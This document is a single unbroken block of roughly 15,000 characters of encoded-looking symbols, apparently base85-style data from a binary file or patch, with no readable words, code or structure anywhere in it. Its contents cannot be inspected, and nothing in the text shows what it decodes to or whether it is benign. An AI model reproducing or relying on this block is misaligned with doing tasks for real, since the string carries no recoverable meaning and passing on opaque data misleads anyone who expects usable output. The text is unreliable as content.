ztN@S7mRCf^jOuwt>J>}$YcL@%^VJ0vkq$R1)%RvzSpyj48<@;2Jw!^weAjhaHQz>C zwo{ojaGXZ#FT8;VH3#B5z~<;)bcWXb21ReLZ}&Fw4fst{=ula!1oP&uiyGmPUK5(_ z-0&~=iDu{^pUe?hx*Gj?R1W>MLwEcA`cg547tSCl9DY~Qwpvjm12$^Q*C&3l7dVz| z!EtijFhv+#$`->h(3f`U{82{Y8(>O*#zg3Yb&o%CKGAMVV{JHAB+SUW0=x0GQi^0U zKfmbs*sR$7G*bOr<1%k5l z)XYvO5koNX7+0d%GkduZt=K!&dka5{;^-5nl=n+kEh*Yc=HD<5OoH=tP|mz`jVsHG z_Rk&!;8@cu)#^_HgOhBLf`r+DHuFjqNro#&BHV+!moYr3xaMaHlD^rc>8uh@S2zb{ zO?^Y^DjX*i!D2SGMjXTe@O*^nJ-RA~#%Gg?&T(E4C_5OI(`~1bn$o>U<#n!&@+pR5MDCjXXNFKVcb& z|NdD9F94$!^4?9C^e&bmjP_!^8wu&o$OD_}*RFYvtX5T4>H+&^4i;5S!ZQ!&*vIO; z5r;vIQq0s}`9K_TRJVq|(ygf}iarDU`E%Z!NyU$+XUL|^h;6#n};}MX^4~u(vnWfe^H%01i@BHUmU=5LW4 z#L{jr$w(v76_RO2uX`|LT1#ZmSbiUYypWWG=#ms6 zkS~7v%Ih(?wc29pw~WagPVc0K)%QB9&?T2+FF0MBICzVM5=`+k9aqwyJpcKvT3Dh4 z4;-;wiC9K;6vR9VgyjTWyunhkS>)9bG9Zl)~_ z-K&O1n;F&V`(x{z6GJjyxAB-|SMY%car4f3&whO0e=m54tN3gG>BSL&P5t^@{n-7v zN@B)0L8GfZ%-NT{>bbZUtV~+F&t2sdVrE*W zQWtXC@`wTi3ekAzeFrHhsB%{N+>uBf*geq<=3bt|*04w=(6ZFR;4*~LH!u41>GqH3 z{Nn1Z!t0}DN*c1nax>rg>o+W|FqOdTo$BE==OAQ{Lp{%xPz}4fxHtknDCbw=q|)+c zv6g3Ytuc_DXjZT{V|6Dajxgr3Ltp|{GHQxK5}ns_{PrlRac{!aa|=Zl+qCh6>3rB_ zkK(~-QIi}l+Nj|^=BW}Pt)*%zu&<$GCRDF?P4$7frFM28^$~!-NA?p2Lz^<6?s_kT zdlGbUo|wV*8yB9t^Pr@UzL1m*^E>wWJs)bsRC9gzdcS<{^;_ORygBo~tB2 zp5*EOe%CB0nYUp-AYD}0eDplTL!k6FJH%?X%n$#j(Q&?*T)|Ix{Hv}Nj&BEr5y4`q z$3N|vi72xMNYlm54CM#lRQyPzc{|%&N~l#r8cge#d=;)zz6x7O&5Jr<#dvk|Z!$}N zKCRx1j^^+;>ujvm)9Ce!EN&z@@H9-TMxVd4+2c4j%s5mWjj)@Dt$J}$*~_(Rc(ns$T;N=-=VB_Lq`f)2lr|O<2b29|%6FvAm3f$_$Ks?D zpNGc2)onD!u^40tYoryZ6xW%F*3UC`bFVxg0?STuJ4VDRYrpN#X3q6_e;8AcVJFLY z;oZzk#4oTcuS9Fbj(2By?F-oHEAO2#buQm^kh`~t2aj>*&j$Xu9!Qs~@k+yYR?+@7 zO5)oBCCk%aFu4eaCs42Qhk2FKdAbyAc8BF0DH6`FHyha2JU%fMX+oA|R;Tpg@o$v^ zsIUwf(+{pU8Wm;(IqE?2tgxF-M%ed;bR)p*P;eQ|T+19KU6YweOU}1sUQWr1!fTVc z6WNPPg>s$V{3a$fFV7)s&jYi*t{Rh*E^_RNw+!cV$;s z;PzrRB9*H zRn79icKSi`=)f&rN3q4R>^Z z@ZbSl9jZ5M8)wdn&StO?%bsjTV0=ak{EuAO>wSU73sMJ#Au!< z2GQcqsZ?b0x2klz3ajVwt(8MNuV;KtHA&-0485$91ml~Meao{yjUQ^5)p)CTGiJNy zYqrcjk!MYpajeAkj4xiNdp{OkQ;-pj%yZjdaW_jDpPnAR1Mz?(I`{2 z|CUxJ>^T1hm#GrQi58|w-dNj3$kt@EunoAEXKKLv7TGjO+jfk2Ij=(9#kKPhwxruatc4B zo-K-@KvUr?Cu4jz@Xlte^&Qb%1EIo}mbdg+oUXZcPDh6}T+9q`i60UH7LB{KnL28+ zXINE->D0vc0(hhx;kg>p+EnSJLw+!%j+qr4z2l%IuEM4@!y61rKltsS0) z<&TsiBO%r0T013|0{Pm$Sb8-5GpgoXB?vE+< zoY2GFsoRKZ2>(B;IVTGhxrN^PWW9-N3+&asB}Ws0EeEvCS#8C|23Aqlwj zPwo0?MZQI+0u^5XsS(0O?8e??5@(CxBVSe}$DuE$uG1_O+{CaqPH|CT7KhUa4+7UMzkJ`Pw|*JKY;X>=7n?{ntrKn_iT9TPW@>~l zgUCT3J09?@)UumZ0OH}Xs z3v}@mppfKWX*swxBFs6Jk+|pE{7C1Zm3rxPCw6HcAPE8y?_|i`Bd4nL_H(2Q%pqB7 z#%vmmTUDt>I}9U+BH2B(^y%Kth*kD6?Or|};0T^-3Q>tQj^yUv_B{H?JCZ2W*pyAH zzFVvRAk&V@yvV%KY~8ol|Bi4dO{O1~13dEOK|Fxl0Wwp|A)#Mrf<50ySbzaQJ}(SB zV|7!_FgI1s`T2yOBvi*e2~9fzz1oi&NNpZ3o{y;6CbMw$SZI_NRg0>Sa2d&}z+*gg z-Tg?A-+Y7Q!a4`~+?wAz3YX(yqMmXTT&L5eDCGA3;T5!;-O6gCXuT73Z(*r$n@Z6z zF()G8g7jt^>sY;SSq!82?bue<*jD)};NdMUV0|+rD~yzX9*}amxs>Myto2}oRR0Y} zbo|ly%4+wVbC8LLpl#<`W^oTFSjbvqV1B*!spU#yLb!y33Gr11{LbO=gf<97&Vu&N zWsAC0RfAjWkTJ{EO5zZH@yN|7OLB$v`2PdSu}a;KOtXV0>aub!Cy*YnV=8y{8jnol zmv%4Soc%2S`n~hFz`YdU)+O0Qu$5Ii-Qd>>jNCE_Q&sEF(+Wu;waSC&K;(QXy9!6y z)V|Mgt0^|-g1e9r=%MNAfz zhy4oo800cZ?Yg_IuxG9uk13B)OXce)1BECRZg2+9v2F>MqC{z8=rjBu$Fi{gk4A2B zDK)oV=Pc+3dqat2OmM2txoj3Ur$-)ok0>28`#G7JBG|kLJ7LlFnhOk9KO#%-eqsL2 z5F}tK5oSOkPnjkQ+(k}~acnQWYZ+x_8l$i$1t>f2EF$-$l%0LBj$!#|%mxNmG%u|Cr?;fvy|5d0KPVZ-Q72sqb!P-#3Oh5i-ElWJ}%$Qa9 z8$vO`g_}O%jyUohx(#&yT=J*L?Om4uLeOg)cTlcf)iU=^5p{erJ2YYT{$8`_yh_RXc9y$|>@`9M4Mwxt40n zPeWQ~0T+&iuqJTdXpDPfq;|`qZWh;pBz|^={Hl5ce;l|sWhcgMn8@hzD3Nc? z9R#xH71_LEy7$!^8?e6W?x^CqVF6Ru2_Lev=8%L|E2i;lCMcenE4u?*ol92Sosq>6 z_MC<^linOBgdkAU^tJYkPwmYQi`MHI^k+&f;X-Hng8y_`&4*;uDf#{3Q|FdxJ<5ay z5rjUiAz}O)@=JyojoRG2K;o>}h42K-FEN_P{gldwd9z}^GASAtU#E` z>lejJqs>v4|217BX;PWY(FZE@*1SMcG?)Qf&1+AaF_Og=pW!#sU^1!E`? zQo8cJ7(oVFw%=S??pRyK)Y|KGcgpsgng={C;QYY-x6xlRYoX8Ow=A=&a+Zayz~#rL z8grBi2uNLj{oM<2b0JDpR@lkW$)`$EzTn1mc znYm~=tC4{Q+TeT>@c1oS+@Y_aP$1SyjZx;2Z;jz*a{g_~3OI}#{bqnwqTai%(s?Xj zjUwbiUaj44S%ZaUm?RZhR}Bg>4V_D##Q0lD_)-P0{SoG_XLA!?TN?te7G5}WYV~2m zucamNMCfDj=2AWl!zn>#kYI z&HM*@xfG3dvljmPGUWDAwBP!aoHx1OTal}d4pc{Mvr~Zk1rKfdH2{1;Olyj{Ft+Wx zl;yZupEb+x{)pMBSlkMLttU&-WzZV?C8x7}=6F^EmFg;6;mgNHO6QZpP6QOB#soD! zjEfh&Y>?}K9IoIlK(U;x5BeSsx(~W^Gnwu<2;ocF0Qo?mH~cMDUBXvq0RQ;2ymbg^ z@CDv!%c}*_0Cy{gFCt71O9d(Cj&bNtOzP7=?**>uy3T=4H-UuThEyz@$YVBKZXf4n z!9aT_ikwDuaVqx8TdOlbtOe1({yOHFe`_+uC=58PehP>=_vu`(0;v6GnVzcc{CI!Y zefk%h<*iZXQ4S6@~&Pq8-!# zgG-yNzXoLL$@FWh>nV6Rxx{Y;P>W{$iyo<)ZqS-Jv?S?tZ2HpG)-z5--)Aw-scEQZ z`&FZ#9>$Vfo>e+CE1{V|ODZiNykuF&F;HR8>!ejGAngFyoMrpl{r@4`)Cft^cVkSc zrV=`THuz#dVvwk;v7m>voAjikAs)LOT+Dzf2x|rfGt=GsI+ii~E`lCV<5d_edqV_> zMi#Vh9@QQO-bNSvL-Fs6)4JZ4d~v>4E`XpAqeM2Fy+hbka&nQf_<2z#a**dO`sfVO z(Tm^W{+#*cV-yO#>Pz{zDkBxM-AzUROO>Cc(GX+n$ou!V#iAu`Un{vV&8sZ^IIP@m zS0=s6xCmNGnH7s45PX~p6Nc=iS-pbZ<)Dd#7y}tqlf@%iia|2Z0Q~c;js~3JNPhxmv$y^Nc_1k$Vqhe$*QU_RqQ5m<&jH?*yF??wMHrDbX;Na#x3BY8j{yH8e{aHfN z`ExO?_ZQqPux=n9Prca8fu6QI+^0c(M)$5c?ChzY8?bq54 zBTnZ~^W3QzmWe zcT5*R@vHm4W`S2?ih>f?zK*HpXJsFw31pYxDpts<6tnGfa7|83Q^@XjW@&|7|Fab!0kQfO6&m&9xr3eEQnbgP&ujZ{&W7=k!JIK&j_ z50hBdGr)A}pM|^>i*=|yqB;eTzq`Ccue3fs^wG968|xq{&g`}GBRv{FJgHc-q5Ys+Ku5_0Eq(7p&M1GxWun=;8V|SswmEJVaMkza&ImT}JT&4|miSRcU z*w?rx4`YUPCH$6kRG*0&&YuF+YHMm{UFXuXTOP=v7j}3D>_|ViN4T3~TP>QAf-eYL z*l>{o`uEGRmm3HR3v+UC^haFh0$8R;I|3S?o^o(-0BX!{9n=OES{rsb1Itx^mI1T+ zugGW=wJVeqmONW*{GPHb*-)M&fcbo z`wWCrV5Z{W^SW4!*UCs1(CdzEZ*Top&DNH#fk8g-e2KNSH3t_LFf{MP?PO4C_()~w zbuO<#YVn4*P2Ce}>X8OEn5jBv?Nt9(x4GJ4fJ1;WAUoGJHZB0{Lsw4^URbD#LZR|9 zH8yC0oY5_2Hovq~OF=$sm{`KWG68w zIA~DHi$5++8Mx9UpP*2h6Q%# zQcbcrN#kw)ll-y{utcZs$w@2RHa27@PG|9CFpyZIULL%0ec z+Mi{q#NvKFFr(!j|5m6;0;KZlvEU61)$tvD#w~QZ`uYV~Sr0-(LpKisV7$lkT7Q&} zD*bjkfI&n&x((w!Yj4#A0mUe0!+6QgKgaxTCLY*HD!;zo1aLutmd~|}f7AsogS}E1 zGT$X7T_q_8Pv6Y;J8?V@^Bs3Z1O~_8Fi% z;10l&Owei&@yFVLIgI~K1>Syi6-)cS8Nund{EA;Ko>Ed$cJ%bzYRSvX!#m|(zWn-;yYmU;#&6EZI_R>)!pMb%gxY3* z-TUj@J;1Agt%g0x|CKi=FV+@+oB0BKj>ouS>Ts2ZZA15w2OU<}` zxM@!gFDlX%W6Ul1cRuyI2HiHfDyTZAv{ax5NaO|nVn;&&U`WIQ$-w_o2EGMf1Q{ph zTxD0!&&^eA`Jj^&;tXH{fGEIEeFy)7jK3+!o#qBP87BS?G{?`$08`uN$@2Jr$Mg#S zJ!kP44?n`ctoZMmmuyaRg1Ci4gTWX*Fc>(qW+V&nO~8SUc^%kb14vMX>zbMtF-dym z7ZYZqXEy|>1)B;jgHSILs(|J8SYxApiKEQ}L@Sx8_ll3y_= zCkKd7nt*ABUAplJXykwx1fVrAt<^F6tF5$9{q)z@8l6oDenp@Knn(crxPTAP6cTB6 z{0cEX@to;Nfcw892{F7Svw%T9mLD9YhUD`|qAFL7BIg{zzrzk>d$Tb{%l z|LICAw<51{)D>kaZM~)MF&!mOB3Rky^PQ4@x@+mZ6H~t}&YSe^9!+=YoiQB+0gf<} z0h7t^rtvCnKUU7xjhwZiIBjtsow2-@KpS#HwHFkL`^eC=r2|pRgl5VRWu@-{M@Amc z;{IKVS2C!BMNK)xgo%4Se-Tc)v`Hg@4TQY%?C%N3|EU6+$Q@YzAA$bo$E5SeL$E)} z$H;U4@0Wk{@&B~(k1BwR|1Y)iLRve~8snyUjcM#;Xq|Ad^{*^bt7ADI{6c!rp<*nC z>pFD)Pc}e(&bIz+AR5qV|Hq&c`FvBwic@b&w@tX$fb@`0Q^x2GkbVJ*YW2*Y)q|aN z3s7S*-j()ytYr7U*wRNUV%%I@T*AFhc#&My*l5P8)8LxYDGQ6EcPx7_kR9 zt*ji*O82BbCgerBi$SB&S?Pba2I?#FsIH7asusxsmsb3Fsx%h@Tw#l;171OheF*h$Bpu<`M! zUiATTWNSk&JJAVw(4`gF{QP|7Y)MJUf9XR|LSoFTzD&8!{8;A|<>f=WjXc|XdwIad zWFe9#wDOT*duJ!7u@Q=^=I-R?;eog+{Y_jkI}RBBRtjsM)DayEi;JY0p`mhi|5BfG zZ6t_p#3M2?65KjFI}6h*_&49_dPREPl&K~L2FG{D9^ZZO;zjTg?jfKM;G8-N?-N}q z$F8QTT27hbBt%~qra9RQXeEQIQvldt)Xo@Fu|53 zK%fSb+pnKL%8iPOW*sV0h=e_FSEUn*_x$!XghCr;qHbbbq_?oRC|RAo#tI@|dkt*T zvbES-RTLc?YinWgQU0W+rqvl38M{VC3@~Hk<7vx{lIMb7NG=>6Y{Aetu;bw1Aoxi8 zWaQe*eUcLooIYO(q%p#SP=p+WVqCMVtPI@R(9lpv`gS76nw~t~d2V}qyS!-Csb}OS zz)(IAvQ3W|n%mkQv$3&Bl(U`?V|Q$B&Pq{92{R1HP*z$xki`TMCA;t1nhxy0vE$bO zUY-6La)W^Z*B5i5-UyearR6BFI*%CxhC)3V(iotk>~Y2S*2#jlJ)cny6-62v8n%GN z$=97QmT4~rX6BylZBM|!jT|eCfI}*j4HKEh4ZW{|PBWDtkr{(|8teFrcwne^gN0?i zulPjE)ut^iE$-V({goBnWC=JNj%f@v@c?wmv#X=yNl%*iAPpIF^kd~GP6l4A9tC)% zy30(l!2SDg0eSMYMy1mNf`ViO1qJOzQkh16C*S`N)z>c4^O$aW5fvM|?pK6znBQI= z1d{OOrk*vkQx+rgr=}UugM$en6x6wZqoN&)^te1cJj9`-`oB)htAA{UqZ|NB5#Z-{ z`|LIs$0tTj<3a*O`ad9X!({uyXRB z(nKsmAou{6270ma`F`r1t*tF_|6QjJtrkDQGfiK@&oos5yvP#v)-`}RLfu}#2a+>0 zdx10ausgNT6BrJ1F8g$E0F6!p=J%pvVt{H#@Wo-=&T$7oAUjlR8S-9VWZWEch<=OXmWFN zTe-RMTiffcuCf7s%xP_C^X%Cz0Qg`ihZ}$gH8siM2?Vv1gRBu&K+J-I0z)&i9zc&k z6w9mf)ZhY4${O`W3Gf_=hERf{=C$S3RW);Sb3Z@70SqS9s3;LYxli}BU^=Q7PXJ1F zL@75AZUI~b0w_RjczC!J@KC>o3;>N1g4SVBXvR@0Wix^8Y7oXyLZWYYhz(!Ls)H*Ay@s|0v=2g>yQ{C%lxq>gCjIt67o~ z3lS;hb7&C5B$)_+p^c{#cXo3#;HVld<{F#|!YHG=K*(v9Y-|7wH6>cl$Xd{GXJ-gk zP*Yv~Arb(dKtDEijf^f2zO*iFjX*)ZdRKvV#dF*z-3L@H{9|tJ^RLPpMiLbzU1r zCZNgYN6}MVKYzym<&*jw#ZN#4sJio9u!lG)uoW|va`cPkkO+Ww?x=x=VWmVvMcqS9 z9jzjifNbO2Ok$0B8*S!(>AC$YWG83-fKZe^DJOcbQ(!%y6|)%&U4^!9xI*c1kYDSR z_d50HagH~bvAqbA%aO+IGmz`&EBrCwqvH!sh`o_4U>zZ}(hC{UIRNcj$jG)O**N?{TW@BLdgHY{W| z<1&TLo(LYh>}n2k!_?h`({6eP`|V0n%ZlK_4H#nX-MAb1PKstrvP=j z*yJ*Jyex*rKfRj%#68pG699AZjMAHOc~!2xeiOJDPrrXn&jVy+Kp811E88?{hS~{N z(!^9g*%*PTLva+)NZxpD46FyfVss@d# zZFhEdKXZ4gyPOCQpy^`wDT*dyATfRNn{+{59%9h=L_45r-1r`utA<9=F%6U-{C{hO zIymwt^60{@Y8()L{=52)W6o`@39eAYzeET-AI!B!)c;}|P<67BXz}nerK@3fe_Ldp zSvxGrtcT0i#(j6CCJhLL$5FVjIJe)9O&LhN$?*gMA*pwPvzEyzDP7xHA>w|X5=ybE zd3v}Qb4SC(|7JH&@<~5oWM#BQ>R@Q_V3$QU!8TJeSuxwKdk+|Z*#-tm)6&v-;I~yV zKsLz(^m3x8^k$e8K2g-x!TmX+^7rKJKm0Z^15f?3uVeU&fJixYh^JlK2NDU#gAQ~? zSL4A?{mpOfNxR#Ckw~U^A2ngNcB^DkkjP1CVqrQEz$Z6{TeXVx)|VE&68=}m{s0P~ z;Nj(+7tAC+l-WCAFD)+*P?FgSP2ih9{+b{5uy19w2Hj-wnerD967o@!IccrI4D2A} zX&}sQE%!=g$nFo>Y9r7HoHUTS6cjib769@#!~v;|o};CKM~>EU&XSjxIEl;vMrOHM zu=<4^J$>9k2$XoV;E_pqK6y0Ry7_`7K*P^}edUqGKU(;GQLF~4Z_Oa>3LbP%;aAgS zp)R1|ab*R8z*Dx(YZ?zvS zY9IVeLZ+}BZBQ?EyZFsgPX3OiXV4^5NiOLH*Y!}}xFhTX|e*$A)Xp@FW_2_s!5jLo=hA z1qeAg0Z2RFy?BA#rryq}La?KrSaW>_i=^6D8XemPBq!tjdp{bQ#L`leMyxOcF1p@l zQ`N?nZ*Kq1@+C^j@&;sOWuiHO{YYQtFq@?#GjN5%d86lF(a97@%-i!w8@~=Crw-C5~1&wI$D8snH$vqBt(2_n;Y_>($E0T(XLvp$Z!yB&E>W6n|jU`rY|T`onmC2 zebdZEPq1-3bxVaP4spJd*As13q^VYvmk1*g1S+8B*aAm!4;x-vbLmFM+ir$ze2v=< zG`zfv-p5)Ne3Wffi)o*XWLu57W)neD%bv_J;qXkQT_MZg*$fBhr{%-6^# zH;BDMk|r4?gT%t~@-{bB1d}Bt8*zcOi?mx^RhhlGDW5_xi}I#1%h3cd+?ngIs$Z_% z{f}22Up1|20;5?ob8A0p2a(i+1$3k9;5zi!-hsa?fPFWB10fKeDPqq>7#i)}kcVg# zZDp29>+herqpbPPw-aZxg%nNiVx{iN`9JKvi9gi)7e79wQkPO!B?;Y93Q>gY_uej| zkc8}In`B?dKDvdQ^&%$Am@CU<580Q|f-FPGG8jXai7{pvGh>+L_wre<&-eQm{2t%; z>*Ylk7Jm+=ED^$ZkrD&VG)|&>5Y}fkNZjOP9e1nhgWd%*1A(*%3 z>EX%AGzzOe3B-B4yF$Gqxlo>=#4GIpvoH{w0?n-?Z`WG4GP;>>{;ziNV3fBa#NMu) zh~RQ7=T~t4o+Nj7603iBfD-q6nls_k<0RCp=^q>kH?$B!7*gh$?51F|u!amGv}=6; z1)8-0o}}|!q=`0Mowyie!naB$b&E-c_>4)-aJHps0y;dUB?<*IJ0Jr2pMYGHnB~&O zfmI91?M>;R4osq+5+P!-L$(v6pCr+Dvr;DuxIXWv>ERn3lSLwzZOM@18m00x2Z%(S z&4uuJEkfTzN+|G&jWxriz(=M6SFIzoz^rxy6|bY?aE;+Bb3DHR#tzr=zt_(id#Fa6 zqr-%5VF#}Dq_tH>2p4AtWW`gb@m3Nl_-t$uI#o(YQWNFC9#oh|3Lyy(*+G{K(ut_`b#;vhrW$8Q0@X}@b?sw@nc5OIml7QRB?gk-eA#JAaBoYgw z!_a6Rg&GgIa6f#jpw9_u|5?nLGf0JL2B_;W-&Z>O1qY6WSXxTyE)3;2&6#$0R#GP} ztj&LZ!YvhwxJ(KD9+2w%gcqEov)NujTU3y9UEG+epu-tegvM{qPX8U}&MPm4J=DWn zU(q_*G@`=0@+(&==D*%nYVOza+nBLnZ%^yn_vsUu_d`p{N$i5enfiv&{CfsfqWc`q z?^`XeT}QPri`ki~Ifm88_DHIQ`izArpt8ExhYTkt8vRAq!9Ey?4BMTVnQ=W7<=y^m z=$~v`(Me6(oc}R1F~EeA=AY zWN59uw@r2gJv<}mPA{26!LA7p8>GexAqU_a9>iNb*)V0$XeYLb|EuTNl081C8ZYRs1DM#o$eDCpE@o zEF;^LPJ3yz#pOPcQV{kA}s@sIUL`3%Uw!3!`MYS0Zj~Ax zMyu@^wGO-5!fL~IzfT`ah?0&WvEq{>WDOJ*)n9gZSJjP)CAzvo`)h%;C=g5G8()=I zcSroAvM)f|jCqUk4sIF%yjSLCy4%RcofA5v^-3yaWBkr^kmKTM%PVyk8D2(|^80mK z1g#Sd9N&-$O8>*)u;Xm&W7J9GzIm*^Ynqf$%j(0p*N?*@7W-^_sv~}1>!<8io2W^B zNVs@^F0xlZ+Tn>!vrpttBvN8sEzlVdDFN1!H3;K&*DADlI#L*az@T5U4V7<~>Kf-> zrhU7Uxv<5cDeP}c?-_kQ(>qH^B3iD^!nD#12MxWwO^O)F^{sVn)1RYh0-o*z7^-7` zt|vuDx~%l?E>dZ|O#(zOyLa;goPH?J>NZu_AQ&)wf zDnAax*>@&=^9TDnSd4aD{Hmnr(f;0we{7P+?-A`NCo?% zV6tFctBMZhl^!TQ*TC!)hy3mGN}g2Qv-z__3e$LWy(q=7XiLV*?V>{YyLDEhURz{U zrfUeKs|)gtyyk+7G)qf!G5~hn;qzd3^v--5`Khs6&+N6NZJT_h4LYbJ zI?@wKLLe;r*N4TrgoLQUshN) zS+HBRz0fu#s$F4m>{{UnR?5fPuW|S^7oE^DRUYA09pS5|W5nnG^qg+#sW zX%TsOvbuLT;a2LrU8N3ZLS#yXUeAFlqu3vwaOW@)@>q)@5bK@mN`^W*o=Z2p0Pc=L zO0bX5)%^VYOmJ){pg)0Xxy<<6Bvv;@Ih#kLoM|||$2+I_#2yjyHJ_o0+S+>LjkKL{ z)OkyVv~gRVjrEFJ^0053^TW3awYiBITiZ$fZJi@=rJpeAnlwixI18hJ za&uN;Pm%x z?5~5(3VS0LfFtQ!I?~hgq}3DDiCr>KRIX0tb85bcyP|ucd*NXHE&9Cz8>|CwLBOgQ z0n7vTqmWL{^z?LjHzpmxaV}nBk9S)gD;HdH@(30V?o;PEL}d(kIC#T?3HM^Q$5d9` z0^X2o(-%Um%d0)f8%dP^35nXk%=S(t0c%m#hhiik6^V8v^hqi5$C%)MP$rF$?0x>BA)8obWWjux9s*>4j zltncV-d6LQ2a>ZUZAoKElMvda6DK(*adolBHG*E{-0=CyUEOX18|= z@xmV-Yw#8?UDQge&E9(ZB!yiY8x&iJUtzNtZ(!wZZKNFR1IG7HA4U}3X>pATuYBet z5^M}pf$!lG9K5-16X!^((%LsI!8_Tp@COV8!Jj>QW{~Q@oBvR_$@KGSQD(v1WvHuv zY(I^N_hi1ai|A^lu)TH*T0@}f83>$uci>9I3@Y=DYZ_hUp0g2pxK+n*AYjHdzU}LnxSGv5SPQMlF>OZD7 zvfRl@IP$eJJf*G}qdO@zorcb~vc>%o!hhgEkZxPKg*ypagS(SI2=b62ToAucouBHk zu+Q|YHIbNBd3wWhI7&fG(z-Rkq?z}4rG<$k?9Sgp>Q`gyvt1H^oD{+H=dxw7aj-Z!)l?`5S>e>zzM19y;xzQg2TP2k8Z% zP=T#V{@8*ybzKuN4tJF?@VpJ39~zu45=76%-_y?QsjGEa&yyG ziAI7A?3e9*r$_|9|+j-x=Zrq-oG_)B1T$h*qa8aAih@j z1{M*)Y2ur~c76Nim^xoYku)$VA5{ryAgA2k9*@kK|FEtHv30N+FxJu{3&Ue$W4u;+ zcf;G6EFj$6iD*4-4Vb@hc(%*Bjus}!j6#07wpLX)H{FKcLtQr1GVt5_(0?{a>FpH& zxl~>-hvszHv@`>iy)!$B=3`WMtvXb5Q&Se;6-af%sgzZ3)QuKVwwLZ_#Kk?{LQm6j z)K!OqOeX2%24=)|XAp9Cc(c8{aTdgWxuY-(MKjFWZsrg{S~pFK z;O}u(huy|OJe%{ZTC+Glb#kx6gk>t&;nHj`KvpRc*#D~$Ua`(ZMLtnOTU09Sl}}@T z6d7Glc4%oX0*GcK@1|!L*jf4bB0Sv%1a2FoX0qPPm3in@XID`cF1I73c_$GUDPCuo zjQg}+_}p)C=d5gOdco6Fit<(yqErcH#Zs7c0qdyQ`LT1KQFhl zH6r{ft4rVRO==wxWT5Z4@#YjG8aU0np~K85{yro}YCyhr-O0hO$Gfd1mp(djbA}?X zOdCX7tS9FZv`iUZJ{#WwuKb5cflcQ$DN#zdEz*zI>1b-36lpf^7u?Kh@mpf)MQuN$ zWPOHn2Is`aY^=Hg^A4nSmHBp-_Me$nWrKBC8{u|X4}+L}%`Yx| zu7hI`S5~Q7S9IEeoSQcPov-=-*glNN7Soy-`$Y=3`w5pR6351MTTg3RW4Y7kda?6g z4P{X}guXGNSV*FF14$f&<3YsubYkb|#OLpKT^+OtLDK+6XR5zdfN!w#T8N1X(CvLQ zj^vmEsIA=LcV{h0tX2Vc$Ft6 z9d?L&tboA!`_p!YV1ml(YwUP>C#eD|`xaYxxmkB%ecyCBHOOC`qW5-NmAC$p#Z@($ zujI9&X+uki?J%YF^7|?WRO*5K){;=W@h5zfpq(Yu5+>uOoci)|k6{mX31c%5pGcg1 zO-Q`e@VS)sj5UW~UNGp-ZT%9&0a<(X2?>bK#+S9PB_oq-C;qE?Je@F@1QcgCc8KTS zZ}-F@)FE{>AT{av&$m9DJ9O09-1p{hKZ|!9lMFnA?D9PY4GG9aXjg_{TNX|4yW00% zr3q5|KAhE7|Lgp@v)O+{MSV{F`Rt#q8m;D)Bj$k!|6HAtlIBuGLE3$ENi%^GiL6k^ zgsrL(woAjjQ8p1e%zuPd(U&ZnqT=5Vdjop5ysonDJ@q4Cc^IRjjT@}3pJS3@xcUKh_K6i^D@yf{bIPP8KRaINnOnMr* zpyJ*br(hK=zkK|%+1SX3$hfcc%g9(#q4*0@wDl2j$Q;7gtG8JSXp-(cvZC>_+|uLLP*0c+EHLt0G*fP= zT0^qMZi3GIv=EOBtGRyE_PC2mnRq{F1dJ3qs=(l@Abl-1DXun-+nT47Way64GojoD zdhwolv%T-(Y@FxPMo)k`{>(V+akr;;ZFZ)uQl0ZkR%tyHKcU=vy?OT}=9Jhj?Ug?{ z0H5~HC<7cFBb(7HqNOBtAv{LfV0}%aexA#hFVILZ)8OSc$ptLht$fLL)ZS;CquzFE zABg74yEr|XjIMN(J9HF%$>a?B26-GElS-M^%1Xvp{baB{!wI`LMhD#!+-ObFGiwI* zTCgSC-H-4#d|%YSa1AQNKPEOdBf)dL;Uac)=wc85ku&`%=ZBXpUAS|xZC8-?PHrMI z=cM@>JKUa5nf=}_-3(DZ`2j=wY3AFf&^hN#SXCJH8&g_c5P=RjtiA9+plfyGbjW0E zrJJ4F>m#T=sMcF_Xze;&v9C`8+YkB{6!-Cr*+3OH&u z^5-KvJF|}=LCiRFWB07&p1y-23`8(j)aQacS{-kmPAr6_h_ua&zMCX>>7?wQ5Y5+% z`Q9I1BU&~Y;VTMUnVK4Z=}r|7>$HgNBd&{^D=(@VamK5yP|J!|FB|R1t{4yd;a+fF z_Wg|KekKC@P=XZseZTv=9^Cv*pP*iBhMLkhb-i}Oc1&QF5ba5dCX3wcqJOC3&R32t zm^ozMN}Xbs+ht~x7aQf?X~dsv zT+S+oKEHsWxe!uPW@lY;OoJT(7Xgs#l&)WY33y8{3yT(ajU!p#^tjvg)6%1pWJYRl zX-Q9C-<>2$om{7`q(TBk2Y12VVqcVGJ_555%_=p4tC*R^8Yd(s2rk6QsxG|eXUO3g zdHjr`kteR480C^^$p~_3|0%*dmk5wC890Su=Gx&f%!jG-NJ;#kJT{axOhT>nG+%GJp<^$1Xg|Vg zWpB9RK23~s-gzHi>pvSFeE(4s(+3}3I>8#CNDegXsHAjIDXmP+0KHb>w0zvV5VGi; z&U%*QozjueJO2B7i!a69xpQZ}q_m=^Gf_-QQ&a9={Zsz66mRze>7Y`5R6HkMf-(qa z@N~OA)XCiKvhZakl+HDa1q7T3|2k-MlL@S zTR%PB>dv#$-~pn^{IYwc=K1>}ljQ^bJNut-_VwVsAWdE4ip{z}o*O6{Be}S`UIety zr2zGvo4H+FVyF@FcX5i+AAEcrFe*TZX@VRCZlFnunwmMTw3U>vAQ)EbKIRIdL9s`~ zdjNG6HD97&1T z+k~{o-1?_I>i_!mBlJwA)|Z~ZF^6s;b^A7kU;^&?N$kqXN^0-UNdL*k6FhPx*B1{)8%P>; z@$irX+`@sixh_;$wSqxMQy^(spRh9YmBOSgD1@*3I>5(PwOAO!Mn-@-^1>W2eyq;1 z)!r#vW&%l2u+D!Z>53@81*r*wBdj)}c?izGCn34+-b;bo`ROmwWr*_Qy0VwE4VJ%} zD-<^smwGLi)KhD-@8i#?4|VhF;JdeV>=wp9%*}mIS(@4|kL|ZMYsUA~YX#~b;77#B z@lTN1Jz~7bIxif%VG&(YGPO}QDOu}ID)ex4bS%8xaOs3@3Y|2D^5>S6?5vqTsCiS8 zfd6+Qz$@DafJK=3>ec7@`FS;^=dnVP{antr*%-nzfqv*1By#Vb87YvWU;PXZorLSm z9T_KYtkauUv3+YbFe$rcFHK7?LQYU~x|EwrDp9+<&vW4Mf~bk;XX?Z4K8TN+y|4UFoCqgLp z$9^n!VK!FMxIWC)-%KJCLKPN-NOwzXvoc#qc#4`+%NU86>#hCrV{B3`Jyh4!8Nb!- 